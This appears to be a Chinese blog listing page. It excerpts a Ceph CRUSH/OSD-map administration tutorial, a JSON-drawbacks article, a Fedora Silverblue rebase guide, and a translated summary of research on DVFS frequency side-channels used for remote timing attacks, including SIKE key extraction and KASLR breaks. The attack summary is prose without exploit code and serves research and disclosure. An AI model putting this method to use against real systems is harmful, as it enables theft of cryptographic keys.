0.00980 osd.1 2 hdd 0.00980 osd.2 。 -5 0.02939 host serverd 3 hdd 0.00980 osd.3 5 hdd 0.00980 osd.5 7 hdd 0.00980 osd.7 -7 0.02939 host servere 4 hdd 0.00980 osd.4 6 hdd 0.00980 osd.6 8 hdd 0.00980 osd.8 设备类是通过为每个正在使用的设备类创建一个“影子”CRUSH层次结构来实现的,它只包含该类设备。 然后,CRUSH规则可以在影子层次结构上分发数据。 你可以使用ceph osd crush tree –show-shadow命令查看带有影子的crush 层级` [ceph: root@serverc /]# ceph osd crush tree --show-shadow ID CLASS WEIGHT TYPE NAME -2 hdd 0.09796 root default~hdd -4 hdd 0.03918 host serverc~hdd 0 hdd 0.00980 osd.0 1 hdd 0.00980 osd.1 2 hdd 0.00980 osd.2 9 hdd 0.00980 osd.9 -6 hdd 0.02939 host serverd~hdd 3 hdd 0.00980 osd.3 4 hdd 0.00980 osd.4 5 hdd 0.00980 osd.5 -8 hdd 0.02939 host servere~hdd 6 hdd 0.00980 osd.6 7 hdd 0.00980 osd.7 8 hdd 0.00980 osd.8 使用ceph osd crush class create 命令创建一个新的设备类 使用ceph osd crush class rm 命令删除一个设备类 使用ceph osd crush class ls 命令列出已配置的设备类 [ceph: root@serverc /]# ceph osd crush class ls [ "hdd" ] [ceph: root@serverc /]# ceph osd crush class create ssd created class ssd with id 1 to crush map [ceph: root@serverc /]# ceph osd crush class ls [ "hdd", "ssd" ] [ceph: root@serverc /]# ceph osd crush class rm ssd removed class ssd with id 1 from crush map [ceph: root@serverc /]# ceph osd crush class ls [ "hdd" ] 使用CRUSH规则 CRUSH map还包含数据放置规则,决定如何将pg映射到osd,以存储对象副本或 erasure coded块 ceph osd crush rule ls命令在已有的规则基础上,打印规则详细信息。 ceph osd crush rule dump rule_name命令打印规则详细信息, [ceph: root@serverc /]# ceph osd crush rule ls replicated_rule ecpool [ceph: root@serverc /]# ceph osd crush rule dump ecpool { "rule_id": 1, "rule_name": "ecpool", "ruleset": 1, "type": 3, "min_size": 3, "max_size": 5, "steps": [ { "op": "set_chooseleaf_tries", "num": 5 }, { "op": "set_choose_tries", "num": 100 }, { "op": "take", "item": -1, "item_name": "default" }, { "op": "choose_indep", "num": 0, "type": "osd" }, { "op": "emit" } ] } 编译后的CRUSH map也包含规则,可能更容易阅读: [ceph: root@node /]# ceph osd getcrushmap -o . /map.bin [ceph: root@node /]# crushtool -d . /map.bin -o . /map.txt [ceph: root@node /]# cat . /map.txt . . . output omitted ... rule replicated_rule { AA id 0 BB } type replicated min_size 1 CC max_size 10 DD step take default EE step chooseleaf firstn 0 type host FF step emit GG . . . output omitted ... AA 规则的名称。使用 ceph osd pool create 命令创建池时,使用此名称来选择规则 BB 规则ID。有些命令使用规则ID而不是规则名称。例如ceph osd pool set pool-name rush_ruleset ID,为已存在的池设置规则时使用规则ID CC 如果一个池的副本数少于这个数字,那么CRUSH不选择此规则 DD 如果一个存储池的副本数超过这个数字,那么CRUSH不选择此规则 EE 接受一个桶名,并开始沿着树进行迭代。在本例中,迭代从名为default的桶开始,它是缺省CRUSH层次结构的根。对于由多个数据中心组成的复杂层次结构,可以为数据创建规则,用于强制将特定池中的对象存储在该数据中心的osd中。在这种情况下,这个步骤可以从数据中心桶开始迭代 FF 选择给定类型(host)的桶集合,并从该集合中每个桶的子树中选择一个叶子(OSD)。本例中,规则从集合中的每个主机桶中选择一个OSD,确保这些OSD来自不同的主机。 支持的类型 # types type 0 osd type 1 host type 2 chassis type 3 rack type 4 row type 5 pdu type 6 pod type 7 room type 8 datacenter type 9 zone type 10 region type 11 root 集合中桶的数量通常与池中的副本数量(池大小)相同: 如果firstn后面的数字为0,则根据池中有多少副本选择多少桶 如果桶的数量大于零,且小于池中的副本数量,则选择相同数量的桶。在这种情况下,规则需要另一个步骤来为剩余的副本绘制桶。可以使用这种机制强制指定对象副本子集的位置 如果这个数字小于零,那么从副本数量中减去它的绝对值,然后选择这个数量的桶 GG 输出规则的结果 例如,可以创建以下规则来在不同的机架上选择尽可能多的osd,但只能从DC1数据中心: rule myrackruleinDC1 { id 2 type replicated min_size 1 max_size 10 step take DC1 step chooseleaf firstn 0 type rack step emit } 使用CRUSH可调参数 还可以使用可调参数修改CRUSH算法的行为。可调项可以调整、禁用或启用CRUSH算法的特性。 Ceph在反编译的 CRUSH Map的开始部分定义了可调参数,你可以使用下面的命令获取它们的当前值: [ceph: root@clienta /]# ceph osd crush show-tunables { "choose_local_tries": 0, "choose_local_fallback_tries": 0, "choose_total_tries": 50, "chooseleaf_descend_once": 1, "chooseleaf_vary_r": 1, "chooseleaf_stable": 1, "straw_calc_version": 1, "allowed_bucket_algs": 54, "profile": "jewel", "optimal_tunables": 1, "legacy_tunables": 0, "minimum_required_version": "jewel", "require_feature_tunables": 1, "require_feature_tunables2": 1, "has_v2_rules": 0, "require_feature_tunables3": 1, "has_v3_rules": 0, "has_v4_buckets": 1, "require_feature_tunables5": 1, "has_v5_rules": 0 } 调整CRUSH可调项可能会改变CRUSH将放置组映射到osd的方式。当这种情况发生时,集群需要将对象移动到集群中的不同osd,以反映重新计算的映射。在此过程中,集群性能可能会下降。 可以使用ceph osd crush tunables profile 命令选择一个预定义的配置文件,而不是修改单个可调项。 [ceph: root@serverc /]# ceph osd crush tunables profile Invalid command: profile not in legacy|argonaut|bobtail|firefly|hammer|jewel|optimal|default osd crush tunables legacy|argonaut|bobtail|firefly|hammer|jewel|optimal|default : set crush tunables values to <profile> Error EINVAL: invalid command [ceph: root@serverc /]# [ceph: root@serverc /]# ceph osd crush tunables optimal adjusted tunables profile to optimal 将配置文件的值设置为optimal,以启用Red Hat Ceph Storage当前版本的最佳(最优)值。 CRUSH Map 管理 集群保持一个编译后的CRUSH map的二进制表示。你可以通过以下方式修改它: 使用ceph osd crush命令 提取二进制 CRUSH Map并将其编译为纯文本,编辑文本文件,将其重新编译为二进制格式,然后将其导入到集群中 通常使用ceph osd crush命令更新CRUSH Map会更容易。但是,还有一些不太常见的场景只能通过使用第二种方法来实现。 使用Ceph命令定制CRUSH Map 下面的例子创建了一个新的桶: [ceph: root@node /]# ceph osd crush add-bucket name type 例如,这些命令创建三个新桶,一个是数据中心类型,两个是机架类型: [ceph: root@node /)# ceph osd crush add-bucket DC1 datacenter added bucket DCl type datacenter to crush map [ceph: root@node /)# ceph osd crush add-bucket rackA1 rack added bucket rackAl type rack to crush map [ceph: root@node /)# ceph osd crush add-bucket rackB1 rack added bucket rackBl type rack to crush map 然后,可以使用以下命令以层次结构组织新桶 [ceph: root@node /]# ceph osd crush move name type=parent 还可以使用此命令重新组织树。例如,将上例中的两个机架桶挂载到数据中心桶上,将数据中心桶挂载到默认的根桶上 [ceph: root@node /]# ceph osd crush move rackA1 datacenter=DC1 moved item id -10 name ' rackA1' to location {datacenter=DCl} in crush map [ceph: root@node /]# ceph osd crush move rackB1 datacenter=DC1 moved item id -11 name ' rackB1' to location {datacenter=DC1} in crush map [ceph: root@node /)# ceph osd crush move DC1 root=default moved item id -9 name ' DC1' to location {root=default} in crush map ID CLASS WEIGHT TYPE NAME -1 0.09796 root default -9 0 datacenter DC1 -10 0 rack rackA1 -11 0 rack rackB1 -3 0.03918 host serverc 0 hdd 0.00980 osd.0 1 hdd 0.00980 osd.1 2 hdd 0.00980 osd.2 9 hdd 0.00980 osd.9 -5 0.02939 host serverd 3 hdd 0.00980 osd.3 4 hdd 0.00980 osd.4 5 hdd 0.00980 osd.5 -7 0.02939 host servere 6 hdd 0.00980 osd.6 7 hdd 0.00980 osd.7 8 hdd 0.00980 osd.8 设置 osd 位置 在创建了自定义桶层次结构之后,将 osd 作为该树的叶子放置。每个 OSD 都有一个位置,它是一个字符串,定义从树的根到该OSD的完整路径。 例如,挂在 rackA1 桶上的 OSD 的位置为: root=default datacenter=DC1 rack=rackA1 当Ceph启动时,它使用ceph-crush-location工具来自动验证每个OSD都在正确的CRUSH位置。 如果OSD不在CRUSH Map中预期的位置,它将被自动移动。默认情况下,这是root=default host=hostname。 可以用自己的脚本替换ceph-crush-location实用程序,以更改osd在CRUSH Map中的位置。 为此,在/etc/ceph/ceph.conf中指定crush_ location_hook参数 [osd] crush_location_hook = /path/to/your/script Ceph使用以下参数执行该脚本: --cluster cluster-name --id osd-id --type osd。 脚本必须在其标准输出中以一行的形式打印位置。Ceph文档有一个自定义脚本示例,该脚本假设每个系统都有一个名为/etc/rack的包含所在机架名称的机架文件: #! /bin/sh echo "root=default rack=$(cat /etc/rack) host=$(hostname -s)" 特定osd的位置定义 可以在/etc/ceph/ceph.conf中设置crush_location参数。重新定义特定osd的位置。 例如,设置osd.0和osd.1,在文件中各自的部分中添加crush_ location参数: [osd.0] crush_location = root=default datacenter=DC1 rack=rackA1 [osd.1] crush_location = root=default datacenter=DC1 rack=rackB1 添加CRUSH Map规则 复制池 创建了一个Ceph可以用于复制池的规则: [ceph: root@node /]# ceph osd crush rule create-replicated name \ root failure-domain-type [class] 其中: Name 为规则的名称 root 是CRUSH Map层次结构中的起始节点 failure-domain-type 是用于复制的桶类型 类是要使用的设备的类,例如SSD或hdd。可选参数 下面的示例创建新的inDC2规则来在DC2数据中心存储副本,将副本分发到各个机架: [ceph: root@node /]# ceph osd crush rule create-replicated inDC2 DC2 rack [ceph: root@node /]# ceph osd crush rule ls replicated_rule erasure-code inDC2 定义规则后,在创建复制池时使用它: [ceph: root@node /]# ceph osd pool create myfirstpool 50 50 inDC2 pool 'myfirstpool' created 纠删码池 对于erasure code,Ceph自动为您创建的每个erasure code池创建规则。规则的名称为新池的名称。 Ceph使用您在创建池时指定的erasure code配置文件中定义的规则参数 下面的例子首先创建新的myprofile erasure code配置文件,然后基于这个配置文件创建myecpool池: [ceph: root@node /]# ceph osd erasure-code-profile set myprofile \ k=2 m=1 crush-root=DC2 crush-failture-domain=rack crush-device-class=ssd [ceph: root@node /)# ceph osd pool create myecpool 50 50 erasure myprofile [ceph: root@node /]# ceph osd crush rule ls 通过编译二进制版本自定义CRUSH Map 你可以用以下命令来反编译和手动编辑CRUSH Map: ceph osd getcrushmap和ceph osd setcrushmap命令提供了一种备份和恢复集群CRUSH Map的有效方法 优化放置组PG 放置组(pg)允许集群通过将对象聚合到组中以可伸缩的方式存储数百万个对象。根据对象的ID、池的ID和池中放置组的数量将对象组织成放置组。 在集群生命周期中,pg个数需要根据集群布局的变化进行调整 CRUSH 试图确保对象在池中osd之间的均匀分布,但也存在pg变得不平衡的情况。 放置组自动缩放器可用于优化PG分发,并在默认情况下打开。如果需要,还可以手动设置每个池的pg数量 对象通常是均匀分布的,前提是池中比osd多一个或两个数量级(十个因子)的放置组。 如果没有足够的pg,那么对象的分布可能会不均匀。 如果池中存储了少量非常大的对象,那么对象分布可能会变得不平衡 配置pg,以便有足够的对象在集群中均匀分布。如果 pg的数量设置过高,则会显著增加CPU和内存的使用。Red Hat建议每个OSD大约100到200个放置组来平衡这些因素 计算放置组的数量 对于单个池的集群,可以使用以下公式,每个OSD 100个放置组 Total PGs = (OSDs * 100)/Number of replicas Red Hat推荐使用每个池计算Ceph放置组,https://access.redhat.com/labs/cephpgc/manual/ 手动映射PG 使用 ceph osd pg-upmap-iterns 命令手动将pg映射到指定的osd,因为以前的Ceph客户端不支持,所以必须配置ceph osd set-require-min-compat-client启用pg-upmap命令 [ceph: root@node /]# ceph osd set-require-min-compat-client luminous 下面的例子将PG 3.25从ODs 2和0映射到1和0: [ceph: root@node /]# ceph pg map 3.25 osdmap e384 pg 3.25 (3.25) -> up [2,0) acting [2,0) [ceph: root@node /]# ceph osd pg-upmap-items 3.25 2 1 set 3.25 pg_ upmap items mapping to [2->1) [ceph: root@node /]# ceph pg map 3.25 osdmap e387 pg 3.25 (3.25) •> up [1,0) acting [1,0) 以这种方式重新映射数百个pg是不现实的 osdmaptool 命令在这里很有用,它获取一个池的实际 Map,分析它,并生成ceph osd pg-upmap-items命令来运行一个最优分布: 将映射导出到一个文件,下面的命令将映射保存到./om文件: [ceph: root@node /]# ceph osd getmap -o ./om got osdmap epoch 387 使用osdmaptool命令的--test-map-pgs选项显示pg的实际分布。打印ID为3的池的分布信息: [ceph: root@node /]# osdmaptool ./om --test-map-pgs --pool 3 osdmaptool: osdmap file './om' pool 3 pg_num 50 #osd count first primary c wt wt osd.0 34 19 19 0.0184937 1 osd.1 39 14 14 0.0184937 1 osd.2 27 17 17 0.0184937 1 ... output omitted . .. 输出显示了osd.2只有27个PG而osd.1有39 PG 生成重新平衡pg的命令。 使用osdmaptool命令的--upmap选项将命令存储在一个文件中: [ceph: root@node /]# osdmaptool ./om --upmap ./cmds.txt --pool 3 osdmaptool: osdmap file './om' writing upmap command output to: ./cmds.txt checking for upmap cleanups upmap, max-count 100, max deviation 0.01 [ceph: root@node /]# cat ./cmds.txt ceph osd pg-upmap-items 3.1 0 2 ceph osd pg-upmap-items 3.3 1 2 ceph osd pg-upmap-items 3.6 0 2 ... output omitted ... 执行命令: [ceph: root@node /]# bash ./cmds.txt set 3.1 pg upmap items mapping to [0->2] set 3.3 pg upmap_items mapping to [1->2] set 3.6 pg_upmap_items mapping to [0->2] ... output omitted ... 2管理OSD Map 描述OSD Map 集群OSD map包含每个OSD的地址、状态、池列表和详细信息,以及OSD的接近容量限制信息等。Ceph使用这些最后的参数来发送警告,并在OSD达到满容量时停止接受写请求 当集群的基础设施发生变化时,比如 osd 加入或离开集群,MONs 会相应地更新相应的映射。Mons保持着map修订的历史。 Ceph使用一组被称为epoch的有序增量整数来标识每个map的每个版本 ceph status -f json-pretty 命令显示每个 map 的 epoch。使用ceph map dump子命令显示每个单独的映射,例如 ceph osd dump [ceph: root@clienta /]# ceph status -f json-pretty { "fsid": "2ae6d05a-229a-11ec-925e-52540000fa0c", "health": { "status": "HEALTH_OK", "checks": {}, "mutes": [] }, "election_epoch": 48, "quorum": [ 0, 1, 2, 3 ], "quorum_names": [ "serverc.lab.example.com", "clienta", "serverd", "servere" ], "quorum_age": 1961, "monmap": { "epoch": 4, "min_mon_release_name": "pacific", "num_mons": 4 分析OSD Map更新 每当有 OSD 加入或离开集群时,Ceph 都会更新 OSD 的map。一个OSD可以因为OSD故障或硬件故障而离开 Ceph 集群 虽然整个集群的分布式映射(map)由监控器(MONs)来维护,但是对象存储设备(OSD)并不使用监控器的领导者(leader)来管理存储器的映射。 相反,OSD之间会直接交换它们所持有的映射,并且每次交换都会标记(epoch)出来。当一个 OSD 检测到自己的运行速度落后时,会触发对其对等 OSD 执行映射的更新,以确保所有的 OSD 都具有最新的映射信息。 在大的集群中,OSD map更新频繁,所以总是分发完整的map是不现实的。相反,接收 OSD 的节点执行增量映射更新 Ceph 还将 osd 和客户端之间的消息标记为epoch。每当客户端连接到OSD时,OSD就会检查 epoch。 如果 epoch 不匹配,那么OSD将响应正确的增量,以便客户机可以更新其OSD映射。这就不需要主动传播,因为客户端只有在下一次联系时才会了解更新后的映射 使用Paxos更新集群Map 要访问Ceph集群,客户机首先要从MONs获取集群映射的副本。为了使集群正常运行,所有的MONs必须具有相同的集群映射。 MONs使用Paxos算法作为一种机制来确保它们对集群状态达成一致。Paxos是一种分布式共识算法。 每当MON修改map时,它就通过Paxos将更新发送给其他监视器。Ceph只有在大多数监控器都同意更新后才会提交新版本的map。 MON向Paxos提交map更新,只有在Paxos确认更新后才将新版本写入本地键值存储。读操作直接访问键值存储。 OSD Map 传播 osd 定期向监控器报告其状态。此外,OSD还可以通过交换心跳来检测对等体的故障,并将故障报告给监视器。 当leader监视器得知OSD出现故障时,它会更新Map,增加epoch,并使用 Paxos 更新协议通知其他监视器,同时撤销它们的租约。 在大多数监控器确认更新后,集群有了仲裁,leader 监控器发出新的租约,以便监控器可以分发更新的OSD映射。 OSD Map命令管理员使用以下命令管理 OSD Map: 命令 动作 ceph osd dump 将OSD映射转储到标准输出 ceph osd getmap -o binfile 导出当前映射的二进制副本 osdmaptool --print binfile 在标准输出中显示人类可读的映射副本 osdmaptool --export-crush crushbinfile binfile 从OSD map 中提取CRUSH map osdmaptool --import-crush crushbinfile binfile 嵌入一个新的CRUSH map osdmaptool --test-map-pg pgid binfile 验证给定PG的映射 ...

    2023-11-12 技术教程 147
  • Json格式弊端及优化方案

    Json介绍 Json(JavaScript Object Notation)是一种轻量级的数据交换格式,常用于前后端数据传输和存储。 它使用简洁的文本格式来表示结构化的数据,易于阅读和编写,并且可以被多种编程语言解析和生成。 Json的基本语法包括键值对(key-value pairs)和数据类型。 键值对由一个键(key)和一个值(value)组成,中间用冒号(:)分隔。 多个键值对之间用逗号(,)分隔。值可以是字符串、数字、布尔值、数组、对象或null。 以下是一个Json对象的示例: { "name": "Raysen", "age": 27, "isStudent": true, "hobbies": ["唱", "RAP", "篮球"], "address": { "street": "23号大街", "city": "杭州", "country": "China" }, "favoriteFruit": null } 键值对的键是字符串,值可以是字符串(如”name”和”Raysen”)、数字(如”age”和30)、布尔值(如”isStudent”和true)、数组(如”hobbies”)或对象(如”address”)。键值对之间用逗号分隔,整个Json对象用花括号括起来。 Json的优点包括易于理解和编写、数据结构清晰、可读性强、支持多种编程语言等。它广泛应用于Web开发、API接口设计、配置文件等场景。 Json格式弊端 缺乏类型信息:Json格式的数据没有明确的类型信息,只能通过字段名来推断数据类型。这导致在处理复杂数据结构时,需要额外的逻辑来解析和处理数据。 不支持注释:Json格式不支持注释,这使得在复杂的数据结构中添加注释变得困难。注释对于代码的可读性和维护性非常重要,但在Json中无法直接添加注释。 不支持多行字符串:Json格式中的字符串必须在一行内表示,不支持多行字符串。这在处理较长的文本或包含换行符的字符串时,会导致可读性下降。 不支持原生日期类型:Json格式没有原生的日期类型,日期通常以字符串的形式表示。这使得在处理日期相关的操作时,需要额外的转换和处理。 不支持引用和循环引用:Json格式不支持引用其他对象或循环引用。这在处理复杂的数据关系时,可能会导致数据冗余和难以维护。 Json格式在一般的数据交换和存储场景中表现良好,但在处理复杂数据结构和需要更多元信息的情况下,存在一些不足之处。 Json弊端优化方案 使用压缩算法:可以使用压缩算法对Json格式进行压缩,减小数据的存储空间占用。 使用二进制格式:可以将Json格式转换为二进制格式,减少数据的存储空间和传输带宽。 使用Schema验证:可以使用Schema验证Json数据的结构和类型,提高数据的可靠性和可读性。 使用更紧凑的数据格式:可以考虑使用其他更紧凑的数据格式,如MessagePack、Protocol Buffers等,减小数据的存储空间和传输带宽。 ...

    2023-11-12 技术教程 165
  • 将电源侧信道攻击转化为x86远程时序攻击

    电源侧信道攻击利用CPU功耗的数据相关变化来泄露机密信息。本文展示了在现代英特尔(和AMD)x86 CPU上,可以将电源侧信道攻击转化为时序攻击,而无需访问任何功耗测量接口,这源自于动态电压和频率调整(DVFS, Dynamic Voltage & Frequency Scaling)。在某些情况下,DVFS引起的CPU频率变化取决于毫秒级的当前功耗。这些变化可以被远程攻击者观察到,因为频率差异会转化为绝对时间差异。频率侧信道从理论上来说比当今密码工程实践中考虑的软件侧信道更强,但由于其粗粒度导致很难被利用。然而,现在这一新信道对密码软件的安全构成了真正威胁。本研究首先对现代x86 CPU上的数据、功耗和频率之间的依赖关系进行了逆向工程,发现了一些细微差别,例如一个字中设置位的位置可以通过频率变化来区分。其次提出了一种针对(恒定时间实现)SIKE的新型选择密文攻击,通过远程时序将单个密钥位的猜测放大为成千上万次高功耗或低功耗操作,从而允许通过远程时序进行完整密钥提取。0x01 简介功耗分析攻击几十年来一直被认为是侧信道信息泄露的一个主要源头。在历史上,这些攻击被用来从嵌入式设备(如智能卡)中使用物理探针泄露密码密钥。最近,功耗分析攻击也被证明可以通过软件功耗测量接口来利用。这些接口在许多现代通用处理器上都可用,已被滥用于网站指纹识别、恢复RSA密钥、破解KASLR,甚至恢复AES-NI密钥。幸运的是,基于软件的功耗分析攻击可以通过阻止(或限制)对功耗测量接口的访问来减轻并且容易检测。直到今天,这样的缓解策略将有效地减少攻击面至仅限于物理功耗分析,这在现代通用x86处理器的环境中是一个明显较小的威胁。DVFS是一种常用的技术,它包括动态调整CPU频率以降低功耗(在低CPU负载时)以及确保系统在功耗和热量极限下保持稳定(高CPU负载)。在某些情况下,DVFS引起的CPU频率调整取决于毫秒级的当前功耗。因此,由于功耗与数据相关,CPU频率调整也是与数据相关的。此外,数据相关的频率调整可以被远程攻击者观察,而无需任何特殊权限。原因是CPU频率差异直接转化为执行时间差异(因为1赫兹=1秒内的1个周期)。这一发现的安全影响是重大的。它从根本上破坏了恒定时间编程,自1996年以来一直是抵抗时序攻击的基础防御措施。恒定时间编程的前提是通过编写一个只使用“safe”指令的程序,其延迟与数据值无关,程序的执行时间将是与数据无关。然而若是通过频率信道,即使仅使用安全指令,时序也会成为数据的函数。 尽管其理论上具有很大的威力,但如何构建实际的频率侧信道攻击并容易。这是因为DVFS更新取决于数百万CPU周期内的总功耗,只反映了粗粒度的程序行为。本研究展示了频率侧信道对加密软件安全构成了真正的威胁,通过:(i)在现代x86英特尔CPU上逆向工程的精确泄露模型,(ii)展示一些加密原语能够将单个密钥位的猜测放大成数千次高功耗或低功耗操作,足以引发可测量的时序差异。为了构建泄露模型,对现代x86英特尔CPU上正在计算的数据与功耗/频率之间的依赖关系进行了逆向工程。研究结果显示,功耗和CPU频率取决于数据的汉明权重(HW, Hamming weight)以及跨计算的数据的汉明距离(HD, Hamming distance),这两种影响在现代英特尔CPU上是不同且可累加的。此外,HW效应是非均匀的。也就是说,处理具有相同HW的数据会导致功耗/频率因数据值内个别1的位置而不同。因此,根据秘密进行不同位模式数据的计算可以导致功耗和频率取决于该秘密。然后,本文描述了一种新的攻击,包括新的密码分析技术,针对恒定时间实现的SIKE(Supersingular Isogeny Key Encapsulation)。SIKE已经有十年的历史,被广泛研究的密钥封装机制。与NIST的后量子密码竞赛中的其他入围者不同,SIKE具有较短的密文和较短的公钥。当攻击者提供一个经过特别制作的输入时,SIKE的解密算法会产生依赖密钥的单个位的异常值。这些值会导致算法卡住,并在剩下的解密过程中操作中间值,这些值在剩余的解密中也都是0。当这种情况发生时,处理器的功耗较低,运行频率较高,因此解密所需的绝对时间较短。这种时序信号非常稳定,以至于可以在网络中进行密钥提取,最后,还展示了频率侧信道也可以用来进行无需计时器的时序攻击,例如KASLR破解和隐蔽信道。0x02 研究背景Intel P-States:在英特尔处理器中,动态电压和频率调整(DVFS)以P-states的粒度工作。P-states对应于不同的操作点(电压-频率对),以100 MHz频率递增。不同CPU型号的P-states数量各不相同。现代英特尔处理器提供两种控制P-states的机制,即SpeedStep和Speed Shift / Hardware Controlled Performance States (HWP)。使用SpeedStep,P-states由操作系统(OS)使用硬件协调反馈寄存器进行管理。使用HWP时,P-states完全由处理器进行管理,提高了整体响应性。HWP是在Skylake微架构中引入的。启用HWP时,操作系统只能向处理器的内部P-state选择逻辑提供提示,包括限制可用P-states的范围。否则,可用的P-states范围仅取决于活动内核的数量以及是否启用了“Turbo Boost”。本文的P-state命名约定遵循Linux中使用的约定。最低的P-state对应于支持的最低CPU频率。最高的P-state对应于处理器的“最大睿频”频率。然而,当禁用Turbo Boost时,最高可用的P-state是基本频率,将P-state和频率视为可以互换使用的术语。P-state管理也与功耗管理相关。每个英特尔处理器都有一个热设计功耗(TDP),表示在持续工作负载下的稳定状态下的预期功耗。在最大睿频模式下,处理器可以超过其名义TDP。然而,如果CPU在最大睿频模式下达到一定的功耗和热量极限,硬件将自动减小频率以保持TDP在工作负载的持续时间内。数据相关功耗:众所周知,处理器的功耗取决于正在处理的数据。数据和功耗之间的精确依赖关系取决于处理器的实现,但可以使用泄露模型进行近似。两种常用的泄露模型是汉明距离(HD)和汉明权重(HW)模型。在HD模型中,功耗取决于计算过程中数据中发生的1 → 0和0 → 1位转换的数量。在HW模型中,功耗仅取决于正在处理的数据中位为1的位数。功耗侧信道攻击:功耗侧信道攻击针对加密系统首次在1998年公开讨论,引入了分析技术,利用功耗与数据依赖性来揭示秘密密钥。随后的工作展示了针对多个加密算法的功耗分析攻击,包括AES、DES、RSA和ElGamal。然而,所有这些攻击都针对智能卡,需要物理接触设备。最近,功耗侧信道攻击也被应用于更复杂的设备,如智能手机和PC。其中一些攻击仅依赖于软件功耗测量接口,这意味着它们不需要接近设备。然而,尽管其中一些工作使用了HW和HD泄露模型,但其中没有一个对现代英特尔x86 CPU上功耗和数据之间的依赖关系进行了系统逆向工程。此外,所有这些攻击都可以通过限制对这类功耗测量接口的访问来阻止。0x03 CPU频率泄露信道实验设置:在多台不同的计算机上运行实验。每台计算机的CPU特性都在下表中。所有计算机都运行Ubuntu,版本为18.04或20.04,内核为4.15或5.4,并安装了最新的微码补丁。除非另有说明,使用默认的系统配置,不限制P-states。为了监视CPU频率,使用了MSR_IA32_MPERF和MSR_IA32_APERF寄存器,就像Linux内核中所做的那样。为了监视功耗,使用RAPL接口的MSR。A. 指令区分作为分析的第一步,需要着手了解运行不同工作负载如何影响CPU的P-state选择逻辑。从stress-ng基准测试套件中选择了两个工作负载。第一个工作负载包括32位整数和浮点运算(int32float方法),而第二个工作负载仅包括32位整数运算(int32方法)。在所有内核上运行这两个基准测试,从空闲状态开始。在基准测试的执行过程中,每5毫秒采样一次CPU频率和(包域)功耗。上图a显示了在i7-9700 CPU上进行int32float测试的结果。频率开始时为4.5 GHz,在CPU上,当所有内核都处于活动状态时,这是最高的P-state。在大约8秒的时间内,允许功耗超过TDP。然后,CPU降至较低的P-state,将功耗降至TDP(在CPU上为65W)。从那时开始,CPU保持在稳态,并在工作负载的持续时间内保持功率在TDP水平左右。示例中在稳态下,频率在两个P-states之间波动,分别对应3.9 GHz和4.0 GHz的频率。上图b显示了int32压力测试的结果。这里,频率也从4.5 GHz开始,然后降至较低的P-state。但与图a相比,降低发生在10秒后,且降低后使用的P-states更高,分别对应4.0 GHz和4.1 GHz。这是因为int32测试的功耗较低。因此,处理器不仅可以更长时间地维持最高可用的P-state,而且可以在稳态下使用更高的P-states,而不会超过TDP。以上结果的关键要点是:(i)处理器可以在最大可用P-state上花费的时间,(ii)稳态下P-states的分布都取决于CPU功耗。由于CPU功耗取决于工作负载,根据传递属性,可以得出P-states也取决于工作负载。这意味着P-states的动态调整会泄露有关处理器上当前运行的工作负载的信息。B. 数据区分已经看到P-state信息泄露了有关正在执行的指令(即工作负载)的信息。现在探讨频率泄露信道是否可以泄露有关指令正在处理的数据的信息。问题是由于已知x86处理器上的功耗与数据相关,数据相关的功耗差异是否会在P-states的分布中显示出来?为了回答这个问题,在执行相同的指令时,只改变输入寄存器的内容,同时监视CPU频率。例如使用shlx指令不断将源寄存器的位向左移动,并将结果写入循环中的不同目标寄存器,只变化源寄存器的内容。在所有内核上运行这个实验,并比较稳态下P-states的分布。下图a显示了将源寄存器的内容设置为16、32或48个1时的结果。在所有情况下,P-state在4.3 GHz和4.4 GHz之间波动。然而,汉明权重越大,频率停留在较低的P-state上的时间越长。从空闲状态开始,频率降至稳态的时间也会随着汉明权重的增加而减少(参见下图b)。汉明权重越大,频率降至稳态的速度越快。这是因为,处理具有较大汉明权重的数据消耗的功率比处理具有较低汉明权重的数据要多。也使用其他指令获得类似的结果。例如,当运行or、xor、and、imul、add、sub以及处理从内存加载的数据时,观察到了数据相关的影响。唯一需要注意的是,对于某些指令,仅在所有内核上运行目标指令的功耗不足以导致P-state降至稳态。这些情况下在后台运行了额外的固定工作负载,以增加总功耗。以上结果的关键是,P-states的动态调整会泄 ...

    2023-11-12 技术教程 87
  • 如何将Silverblue重定位到Fedora Linux 39

    Fedora Silverblue是 一款基于 Fedora Linux 构建的面向桌面的操作系统。 这款操作系统非常适合日常使用、开发和容器化的工作流程。 它有许多优势,例如可以在发生问题时轻松回滚操作。 如果你想在 Fedora Silverblue 系统上更新或将系统 重定位rebase 到 Fedora Linux 39,本文会提供帮助。 文章不仅会指导你执行操作,还会教你如何在遇到意外情况时撤销操作。 更新你目前的系统 在实际重定位至 Fedora Linux 39 前,你需要先安装所有待处理的更新。 你可以在终端中使用下面的命令: $ rpm-ostree update 或者你也可以通过 GNOME “软件”应用安装更新,然后重新启动系统。 使用 GNOME “软件” 重定位 在 GNOME “软件”应用的更新页面上,你可以看到 Fedora Linux 的新版本已经可以使用。 首先,你需要点击 “下载Download” 按钮来下载新的操作系统镜像。这个过程可能需要一些时间。完成后,你会发现更新已经准备好进行安装。 接下来,点击 “重新启动 & 升级Restart & Upgrade” 按钮。这个过程只需要几分钟,一旦更新完成,计算机将会重新启动。重启后,你会看到崭新的 Fedora Linux 39 的系统环境,看起来很简单,是吧? 使用终端进行重定位 如果你更喜欢在终端操作,那么这部分指南就是为你准备的。 首先你需要确认 39 版本是否已经可以使用: $ ostree remote refs fedora 在命令输出中你应该看到如下内容: fedora:fedora/39/x86_64/silverblue 如果你想保留当前的部署(这意味着这个部署将会持续在 GRUB 中显示为一个选项,直到你手动移除它),你可以通过运行下面的命令实现: # 0 是在 rpm-ostree 状态中的条目位置 $ sudo ostree admin pin 0 如果你想移除已经固定的部署,你可以使用下面的命令: # 2 是在 rpm-ostree 状态中的条目位置 $ sudo ostree admin pin --unpin 2 然后,将你的系统重定位至 Fedora Linux 39 镜像。 $ rpm-ostree rebase fedora:fedora/39/x86_64/silverblue 最后,重启你的电脑,启动进入 Fedora Linux 39 版本。 如何进行回滚 如果遇到任何问题(例如,如果你无法启动 Fedora Linux 39),回滚是非常容易的。 在系统启动时,在 GRUB 菜单中选择 Fedora Linux 39 之前的版本,然后你的系统就会启动这个更早的版本而非 Fedora Linux 39。 如果你在启动过程中看不到 GRUB 菜单,那么在启动时尝试按下 ESC键。 如果你想让更早版本的选择永久生效,你可以使用下面的命令: $ rpm-ostree rollback 现在,你已经了解如何将 Fedora Silverblue 系统重定位到 Fedora Linux 39,以及如何进行系统回滚了。那么何不今天就试试看呢? 常见问题解答 在每篇关于重定位 Silverblue 